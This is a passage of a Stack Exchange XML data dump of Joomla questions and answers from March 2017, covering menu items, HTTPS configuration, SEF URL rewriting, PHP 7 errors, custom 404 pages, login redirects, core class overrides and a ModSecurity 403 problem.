menu item for that specific view of your tags component. If the module is well designed, then normally when you click on any of the tags, Joomla will find a dedicated menu item to display your tagged items list layout on its own and not under the homepage's menu item. You will be able to tell to Joomla what modules you will like to display for that view as well.&lt;/p&gt;&#xA;&lt;h2&gt;Hidden Menu Item&lt;/h2&gt;&#xA;&lt;p&gt;If you don't want to show that new menu item for the tags under any of your visible menus - then you can create a hidden menu/menu item.&lt;/p&gt;&#xA;&lt;h3&gt;Helpful resources for further reading:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_control_module_display_when_linking_to_an_article_with_no_menu_item&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;How to control module display when linking to an article with no menu item&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://magazine.joomla.org/issues/issue-mar-2014/item/1790-using-hidden-menus&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Using Hidden Menus&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Menu Documentation&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-03-20T14:27:09.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19385" PostTypeId="2" ParentId="19375" CreationDate="2017-03-20T14:31:43.277" Score="2" Body="&lt;p&gt;Your baseUrl points to the insecure version, so your sites base href does too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the correct secure version in your configuration.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $live_site = 'https://www.ashleyrowlett.com'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2017-03-20T14:31:43.277" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19386" PostTypeId="1" AcceptedAnswerId="19387" CreationDate="2017-03-20T15:57:38.310" Score="2" ViewCount="339" Body="&lt;p&gt;I'd like to remove &lt;code&gt;index.php&lt;/code&gt; from joomla URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I'm little worried that this can affect keyword positions in google. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to turn this parameter ? &lt;/p&gt;&#xA;" OwnerUserId="6951" LastActivityDate="2017-03-22T00:58:41.237" Title="Is it safe to use `Use URL Rewriting` option?" Tags="|url|sef|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19387" PostTypeId="2" ParentId="19386" CreationDate="2017-03-20T16:03:29.340" Score="1" Body="&lt;p&gt;Yes it is safe - its built into the joomla core to do so. All you need to do is rename the htaccess.txt to .htaccess and then enable it in the joomla global configuration screen.&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2017-03-20T16:03:29.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19388" PostTypeId="2" ParentId="19386" CreationDate="2017-03-20T23:32:44.410" Score="2" Body="&lt;p&gt;When SEF is enabled on a Joomla website, the old non-sef urls still work normally so search engines will still be able to find the pages whether they use the SEF or non-SEF url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These days, Google isn't likely to penalise you if it finds multiple links for the same content on the same website but it might help if you install &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/structure-a-navigation/site-map/osmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSMap&lt;/a&gt; or similar and submit a sitemap to Google Search Console (formerly known as Webmaster Tools) to help Google find all the SEF links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the search engine rankings are adversely affected, it's likely that this would only be a short term problem until Google has recrawled the entire site and found all the new links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are cautious about search engine rankings being affected, then you could install a third party extension such as &lt;a href=&quot;https://extensions.joomla.org/extension/sh404sef&quot; rel=&quot;nofollow noreferrer&quot;&gt;sh404SEF&lt;/a&gt; or similar which redirects the non-SEF urls to the SEF urls and this may result in a smoother transition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more advice on dealing with duplicate content, see the excellent answer by @FFrewin at: &lt;a href=&quot;https://joomla.stackexchange.com/a/5541/120&quot;&gt;https://joomla.stackexchange.com/a/5541/120&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-03-22T00:58:41.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19389" PostTypeId="1" AcceptedAnswerId="22199" CreationDate="2017-03-21T00:34:06.263" Score="4" ViewCount="1592" Body="&lt;p&gt;After upgrading from PHP5 to PHP7 I get an error page saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 - [] operator not supported for strings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sg5lX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sg5lX.jpg&quot; alt=&quot;Error message&quot;&gt;&lt;/a&gt;&#xA;I've read that now PHP7 is smarter with exception. But the message I get is totally useless. I don't know which file and line to look for the problem. PHP error log is also empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get some useful error message? I'd be happy to get something like old nice fatal error saying where to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I didn't solve it from the point of view of PHP, but enabling Joomla debug in Global configuration seems to add the lost PHP error message to the output. At least this helped at another web-site in a similar situation.&lt;/p&gt;&#xA;" OwnerUserId="8616" LastEditorUserId="8616" LastEditDate="2017-05-06T11:59:09.560" LastActivityDate="2018-03-11T22:38:53.150" Title="PHP 7 - how to get usefull information from an exception message?" Tags="|error-handling|php7|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19390" PostTypeId="2" ParentId="12165" CreationDate="2017-03-21T05:00:16.237" Score="0" Body="&lt;p&gt;With custom toolbar buttons in Joomla 3, try adding:&#xA;    &#xA;or&#xA;    &#xA;in your adminForm (edit view) to avoid javascript error.&#xA;As always, hit control+u to view the markup and activate your firebug console to watch for errors.&lt;/p&gt;&#xA;" OwnerUserId="9847" LastActivityDate="2017-03-21T05:00:16.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19391" PostTypeId="2" ParentId="19389" CreationDate="2017-03-21T14:27:58.243" Score="-1" Body="&lt;p&gt;If you can access the back end, change the Error Reporting in Global Configuration - Server to 'Maximum'. That setting will display a meaningful PHP error message which would give more information what is going wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not see an error-message please check if the value error_reporting is set to E_ALL in the php.ini: error_reporting=E_ALL.&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2017-03-21T14:27:58.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19392" PostTypeId="1" AcceptedAnswerId="19399" CreationDate="2017-03-21T14:46:59.200" Score="2" ViewCount="1092" Body="&lt;p&gt;I have a component, which requires login. I added a text about this to the components main page. Is there a way to redirect the users to the component after they logged in? Currently all they see is the profile page and they have to find the menupoint again after they logged in.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-03-21T18:51:30.323" Title="Redirect after login by component" Tags="|joomla-3.x|component|login|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19393" PostTypeId="2" ParentId="15141" CreationDate="2017-03-21T14:59:41.057" Score="2" Body="&lt;p&gt;Based on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3352241/how-to-detect-the-current-language-of-a-joomla-website&quot; title=&quot;How to detect the current language of a Joomla! website?&quot;&gt;How to detect the current language of a Joomla! website?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_Custom_404_Error_Page&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Creating a Custom 404 Error Page&quot;&gt;Creating a Custom 404 Error Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;&#xA;$result = $lang-&amp;gt;getTag();&#xA;&#xA;if (($this-&amp;gt;error-&amp;gt;getCode()) == '404') {&#xA;&#xA;  if ($result==&quot;en-GB&quot;) { &#xA;      header('Location: /index.php?option=com_content&amp;amp;view=article&amp;amp;id=31');&#xA;      exit;&#xA;  }&#xA;  if ($result==&quot;pt-PT&quot;) {&#xA;      header('Location: /index.php?option=com_content&amp;amp;view=article&amp;amp;id=30');&#xA;      exit;&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You must adapt your code, please read '&lt;a href=&quot;https://docs.joomla.org/Creating_a_Custom_404_Error_Page&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Creating a Custom 404 Error Page&quot;&gt;Creating a Custom 404 Error Page&lt;/a&gt;'&lt;/p&gt;&#xA;" OwnerUserId="9849" LastEditorUserId="9849" LastEditDate="2017-03-21T15:23:50.143" LastActivityDate="2017-03-21T15:23:50.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19394" PostTypeId="1" AcceptedAnswerId="19397" CreationDate="2017-03-21T15:43:50.120" Score="2" ViewCount="153" Body="&lt;p&gt;I want to use a custom 404 page for my website, so I followed the directions I found &lt;a href=&quot;https://docs.joomla.org/Creating_a_Custom_404_Error_Page&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.ostraining.com/blog/joomla/404-pages/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I trigger an error, the 404 message is embedded in the middle of my homepage, i.e., I see all modules assigned to it, and the message is right in the middle, where articles (and Joomla messages) would normally go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u13BL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u13BL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I added to the top of the error.php file is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;if (($this-&amp;gt;error-&amp;gt;getCode()) == '404') {   &#xA;  header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;  echo file_get_contents(JURI::root().'index.php?/es-co/option=com_content&amp;amp;view=article&amp;amp;id=23');&#xA;exit(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only use those modules on the frontpage, and the menu I got the link from, is enabled but not assigned to any module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a look &lt;a href=&quot;http://kaplan.com.co/error&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2017-03-22T14:33:42.523" Title="Custom 404 page shows unselected modules" Tags="|templates|error-reporting|error-pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19395" PostTypeId="1" AcceptedAnswerId="19435" CreationDate="2017-03-21T17:11:14.817" Score="1" ViewCount="61" Body="&lt;p&gt;I have gone through the steps provided here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently on &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_backend_actions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_backend_actions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I login to my administration portion of my joomla page and go to my component under components menu to access its default page. I get the normal fields you would see to make any changes. The tutorial adds 3 fields with JToolbarHelper::. These fields are new,edit,and delete. When I click any of the buttons to progress to another screen such as edit,add,or delete it brings me to an error page. complaining about the component not being found.The reason is a messed up link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link for the site now turns into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.demojoomla.com/administrator/index.php?option=com_com_example&amp;amp;view=example&amp;amp;layout=edit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; https://example.demojoomla.com/administrator/index.php?option=com_example&amp;amp;view=example&amp;amp;layout=edit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somewhere an extra com_ is being added and I have looked everywhere.&#xA;Does anyone understand why or where I should look to fix this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;within the form action for the admin page if i remove the com_ from that action it remove the com_com_ and reduce it to&#xA;    &lt;a href=&quot;https://example.demojoomla.com/administrator/index.php?option=example&amp;amp;view=example&amp;amp;layout=edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.demojoomla.com/administrator/index.php?option=example&amp;amp;view=example&amp;amp;layout=edit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;im starting to think that this is being caused by the controllers and or tasks but i cannot pin point the issue still&lt;/p&gt;&#xA;" OwnerUserId="9850" LastEditorUserId="9850" LastEditDate="2017-03-22T14:59:31.457" LastActivityDate="2017-03-24T12:43:45.563" Title="joomla mvc tutorial editing component issue" Tags="|joomla-3.x|component|mvc|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19396" PostTypeId="2" ParentId="19166" CreationDate="2017-03-21T18:42:47.237" Score="1" Body="&lt;p&gt;If the data you are protecting doesn't contain personally identifiable information I would say that the joomla's stock server-side validation should be plenty for you to use and feel safe. The validation rules may not have everything you need though. If you truly worry I would say use joomla's rules and possible add on to or make your own rule sets for the validation. There is also database validation as well to be considered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to security I always ask myself the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What kind of data am I protecting?&lt;/li&gt;&#xA; &lt;li&gt;Is it worth protecting with anything other than stock protection?&lt;/li&gt;&#xA;     I.E. &lt;br/&gt; If its is just names and email I would use stock protection.&lt;br/&gt; &#xA;          If it is the above plus addresses and phone numbers I would probably add a bit more extra as that can really make people mad if it is obtained&#xA;&lt;li&gt;How big of a target am I or will I be in the future?&lt;/li&gt;&#xA;&lt;li&gt;Could my company recover if this data was stolen?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Below is the resource on making your own validation rules if you didn't already know.&#xA;&lt;a href=&quot;https://docs.joomla.org/Server-side_form_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Server-side_form_validation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a list of security vulnerabilities and news please see below:&#xA;&lt;a href=&quot;https://www.cvedetails.com/vulnerability-list/vendor_id-3496/product_id-16499/Joomla-Joomla-.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cvedetails.com/vulnerability-list/vendor_id-3496/product_id-16499/Joomla-Joomla-.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9850" LastActivityDate="2017-03-21T18:42:47.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19397" PostTypeId="2" ParentId="19394" CreationDate="2017-03-21T18:44:59.377" Score="2" Body="&lt;p&gt;Change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JURI::root().'index.php?/es-co/option=com_content&amp;amp;view=article&amp;amp;id=23'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JURI::root().'?option=com_content&amp;amp;view=article&amp;amp;id=23'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reason:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JURI::root().'index.php?/es-co/option=com_content&amp;amp;view=article&amp;amp;id=23'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is being routed to (try it in your browser):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/es-co/?/es-co/option=com_content&amp;amp;view=article&amp;amp;id=23&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/es-co/?/es-co/option=com_content&amp;amp;view=article&amp;amp;id=23&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is loading that article, but routed through the homepage's menu item, so it'll load the article using the homepage's layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making the suggested change will load the 404 article in the menu you had created for it.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-03-22T14:33:42.523" LastActivityDate="2017-03-22T14:33:42.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19398" PostTypeId="2" ParentId="18517" CreationDate="2017-03-21T18:48:12.990" Score="1" Body="&lt;p&gt;Any overrides created via the template section can just be removed with the manage folders button. Deleting an override that you have done nothing to wont hurt anything.&lt;/p&gt;&#xA;" OwnerUserId="9850" LastActivityDate="2017-03-21T18:48:12.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19399" PostTypeId="2" ParentId="19392" CreationDate="2017-03-21T18:51:30.323" Score="3" Body="&lt;p&gt;You can create a plugin that triggers on &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserAfterLogin&quot; rel=&quot;nofollow noreferrer&quot;&gt;onUserAfterLogin&lt;/a&gt; and redirects the user to where you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can add a &amp;amp;return= query variable to your links to the login page &lt;a href=&quot;https://docs.joomla.org/How_do_you_redirect_users_after_a_successful_login%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;as described here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-03-21T18:51:30.323" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19401" PostTypeId="2" ParentId="19383" CreationDate="2017-03-21T19:14:30.047" Score="2" Body="&lt;p&gt;You can override the JLogLoggerFormattedtext class with your own version in one of two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;System Plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via a System plugin that triggers onAfterInitialise():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* Registers core library overrides.&#xA;*&#xA;* @return   void&#xA;*/&#xA;public function onAfterInitialise()&#xA;{&#xA;    // Override /libraries/joomla/log/logger/formattedtext.php &#xA;    JLoader::register('JLogLoggerFormattedtext', JPATH_LIBRARIES . '/custom/core-overrides/joomla/log/logger/formattedtext.php');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, by the time onAfterInitialise() is called many core classes have already been initialized and so this method wont work. I don't know if JLogLoggerFormattedtext falls into this category or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Core Hack&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, obviously, core hacks are evil. But I've yet to find a working solution when the plugin method doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modify /ROOT/index.php and/or /ROOT/administrator/index.php (depending on if you need this modification for back-end or front-end executions. Put this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_LIBRARIES . '/custom/core-overrides/coreOverrideAutoloader.php';&#xA;spl_autoload_register('CoreOverrideAutoloader::loader', true, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;directly before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_BASE . '/includes/framework.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(both index.php files have that line)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create /custom/core-overrides/coreOverrideAutoloader.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class CoreOverrideAutoloader&#xA;{&#xA;&#xA;    public static $requested = array();&#xA;    public static $filesLoaded = array();&#xA;    public static $filesNotLoaded = array();&#xA;&#xA;    public static function loader($class)&#xA;    {&#xA;        CoreOverrideAutoloader::$requested[] = $class;&#xA;&#xA;        $filename = __DIR__ . '/' . strtolower($class) . '.php';&#xA;        $file=$filename;&#xA;&#xA;        if (!file_exists($file))&#xA;        {&#xA;            CoreOverrideAutoloader::$filesNotLoaded[] = $file;&#xA;            return false;&#xA;        }&#xA;        include $file;&#xA;        CoreOverrideAutoloader::$filesLoaded[] = $file;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create /custom/core-overrides/jlogloggerformattedtext.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That'll hold your modified JLogLoggerFormattedtext class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;jimport('joomla.filesystem.file');&#xA;jimport('joomla.filesystem.folder');&#xA;&#xA;class JLogLoggerFormattedtext extends JLogLogger&#xA;{&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating any other library overrides is as simple as creating additional jclassname.php files in that same folder.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-03-22T14:38:00.040" LastActivityDate="2017-03-22T14:38:00.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19402" PostTypeId="1" CreationDate="2017-03-21T19:16:25.687" Score="3" ViewCount="1452" Body="&lt;p&gt;I am getting &lt;strong&gt;403 Forbidden&lt;/strong&gt; messages in the Joomla 3.6.5 admin panel when I (as Super User) attempt to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select any page from 2 to end&lt;/li&gt;&#xA;&lt;li&gt;Change the articles per page from the default 20&lt;/li&gt;&#xA;&lt;li&gt;Search for an article using the keyword search box&lt;/li&gt;&#xA;&lt;li&gt;Filter articles by article category&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If I disable ModSecurity in cPanel I don't have this problem, but my hosting providers do not recommend disabling ModSecurity. The rule that is being triggered is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Message: Access denied with code 403 (phase 2). Test 'ARGS:view|ARGS:tmpl|ARGS:layout' against '!(^[0-9a-z-:]+$|^$)' is true. [*** [id &quot;390606&quot;] [msg &quot;Atomicorp.com WAF Rules - Virtual Just In Time Patch: Joomla ARG injection&quot;] [severity &quot;CRITICAL&quot;] [MatchedString &quot;filter[search]=&quot;]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have no access to ModSecurity other than to enable or disable it in cPanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird thing is that this happens on two websites, using the same template, on my reseller account, but I don't get these problems on the reseller account website itself or any of its subdomains. But my hosting provider tells me that all ModSecurity rules are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also say &quot;The problem is the Joomla installs are tripping over Mod_security rules in regards to Argument injections etc. this is because of the way Joomla is programmed and Mod_Security rules are saying this is not a secure way of doing it&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've been going round and round in circles so I'm posting here in the hope that someone else may have had this issue and found a solution.&lt;/p&gt;&#xA;" OwnerUserId="9851" LastEditorUserId="12352" LastEditDate="2019-02-03T05:43:58.940" LastActivityDate="2019-02-04T11:58:24.403" Title="ModSecurity returns 403 forbidden in administrator article manager" Tags="|joomla-3.x|administrator|security|article-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19403" PostTypeId="2" ParentId="18038" CreationDate="2017-03-21T21:48:17.403" Score="2" Body="&lt;p&gt;According to this &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/4839&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue&lt;/a&gt;, as of Joomla 3.3.0 core.js was rewritten in jQuery, including &lt;code&gt;Joomla.JText&lt;/code&gt;. If you're using that version or later and core.js is loading on our page, then the Mootools issue shouldn't be the cause. If core.js isn't present on the page then you'll want to include it via &lt;code&gt;JHtmlBehavior::core()&lt;/code&gt; and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the question of whether to use PHP or &lt;code&gt;Joomla.JText&lt;/code&gt;... I don't think that in the scope of this site (because it's a opinion question about coding styles).&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-03-21T21:48:17.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19404" PostTypeId="1" CreationDate="2017-03-21T23:05:49.597" Score="3" ViewCount="78" Body="&lt;p&gt;I am using BreezingForms and I have a checkbox group that look for files into my database. It is possible that there is no item to select in the database; at this moment, I want the checkbox group to disappear. I am also open to another solution, like change the checkbox group, in the case of no item, into a field that will display &quot;No items&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, when there is no item, the only field in my checkbox group is &quot;No item&quot; (with a checkbox next to it) and the name of the checkbox &quot;Your items:&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you an answer or an idea for resolve that difficulty?&lt;/p&gt;&#xA;" OwnerUserId="9854" LastActivityDate="2018-01-22T06:07:12.123" Title="Make a checkbox group disappear" Tags="|component|custom-component|custom-field|custom-action|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19405" PostTypeId="1" CreationDate="2017-03-22T02:26:51.310" Score="1" ViewCount="77" Body="&lt;p&gt;I have an issue with SEF, when turned on it stops the States dropdown in checkout Virtuemart 3 and Viostore Template.&#xA;Trying to customise some SEO which recommends SEF as a one of the requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Sitemap and RSSeo installed and thought it was a conflict but it makes no difference if the plugins are disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first thought it was Virtuemart and went through the hoops with there help support with the following response…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re: Country States not displaying on dropdown&#xA;Message: Hi, As mentioned before, this is not a Template related issue. In this case please try to ask about this at Virtuemart forum. Regards, Paul.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this, and no response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All VM 3.2. and Joomla 3.6.5.up to date.&#xA;Hope someone has come across this and has an answer.&#xA;Thanks&#xA;G &lt;/p&gt;&#xA;" OwnerUserId="9853" LastEditorUserId="126" LastEditDate="2017-03-22T07:19:32.363" LastActivityDate="2017-03-22T07:19:32.363" Title="SEF turned on, stops the Country States dropdown in checkout Virtuemart 3.0" Tags="|joomla-3.x|virtuemart|sef|dropdown|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19406" PostTypeId="1" CreationDate="2017-03-22T06:50:05.773" Score="3" ViewCount="754" Body="&lt;p&gt;We have built a website in Joomla 3.0 but joomla administrator is not redirecting it to default 404 error page. &lt;a href=&quot;https://i.stack.imgur.com/1aiH0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1aiH0.jpg&quot; alt=&quot;This is the error we got when we enter some wrong URL manually.&quot;&gt;&lt;/a&gt;. How I can redirect it to defualt joomla error page with design.&lt;/p&gt;&#xA;" OwnerUserId="9855" LastActivityDate="2018-05-17T21:19:39.663" Title="Joomla administrator 404 page design not working" Tags="|joomla-3.x|administrator|error-pages|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
